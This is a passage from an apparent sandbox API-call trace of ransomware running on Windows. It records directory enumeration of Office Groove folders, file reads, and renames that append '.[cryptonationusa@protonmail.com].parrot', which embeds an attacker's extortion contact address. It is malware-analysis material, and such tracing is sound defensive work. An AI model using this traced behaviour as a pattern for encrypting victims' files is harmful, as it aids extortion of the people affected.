"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645788 | out: hHeap=0x5b0000) returned 1 [0193.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23000f0 | out: hHeap=0x5b0000) returned 1 [0193.975] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.976] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.977] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.977] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc59, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc59, lpOverlapped=0x0) returned 1 [0193.978] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645788 | out: hHeap=0x5b0000) returned 1 [0193.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.985] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.985] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.987] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.987] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x638, lpOverlapped=0x0) returned 1 [0193.988] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645788 | out: hHeap=0x5b0000) returned 1 [0193.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0193.995] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0193.995] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffa77ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffa77ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.996] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff4f6be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIcon.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BRIEFC~1.PAR")) returned 1 [0193.997] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0193.998] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.998] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.998] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.998] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.998] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbadd700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbadd700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImages.jpg", cAlternateFileName="ICONIM~1.JPG")) returned 1 [0193.998] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.998] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0194.000] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.000] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x10f3, lpOverlapped=0x0) returned 1 [0194.001] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0194.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa070 | out: hHeap=0x5b0000) returned 1 [0194.007] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.007] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0194.009] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.009] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xa38, lpOverlapped=0x0) returned 1 [0194.009] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0194.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0194.014] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0194.014] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffa9e020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffa9e020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.014] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbadd700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa9e020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1218, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImages.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ICONIM~1.PAR")) returned 1 [0194.015] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0194.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb8b5f00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb8b5f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0194.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbc6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbc6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0194.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbcba420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbcba420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0194.015] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbce0580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbce0580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbd066e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbd066e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbdeaf20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbdeaf20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd168340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd168340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe284160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe284160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff0cc560, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff0cc560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="GROOVE~4")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff4d0a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff4d0a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffa77ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffa77ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffa9e020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffa9e020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffa9e020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffa9e020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0 [0194.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0194.016] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0194.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0194.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0194.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c98 | out: hHeap=0x5b0000) returned 1 [0194.017] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0194.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0194.017] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0194.017] lstrcmpW (lpString1="ToolIcons", lpString2=".") returned 1 [0194.017] lstrcmpW (lpString1="ToolIcons", lpString2="..") returned 1 [0194.017] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.019] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.020] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.020] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.020] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, 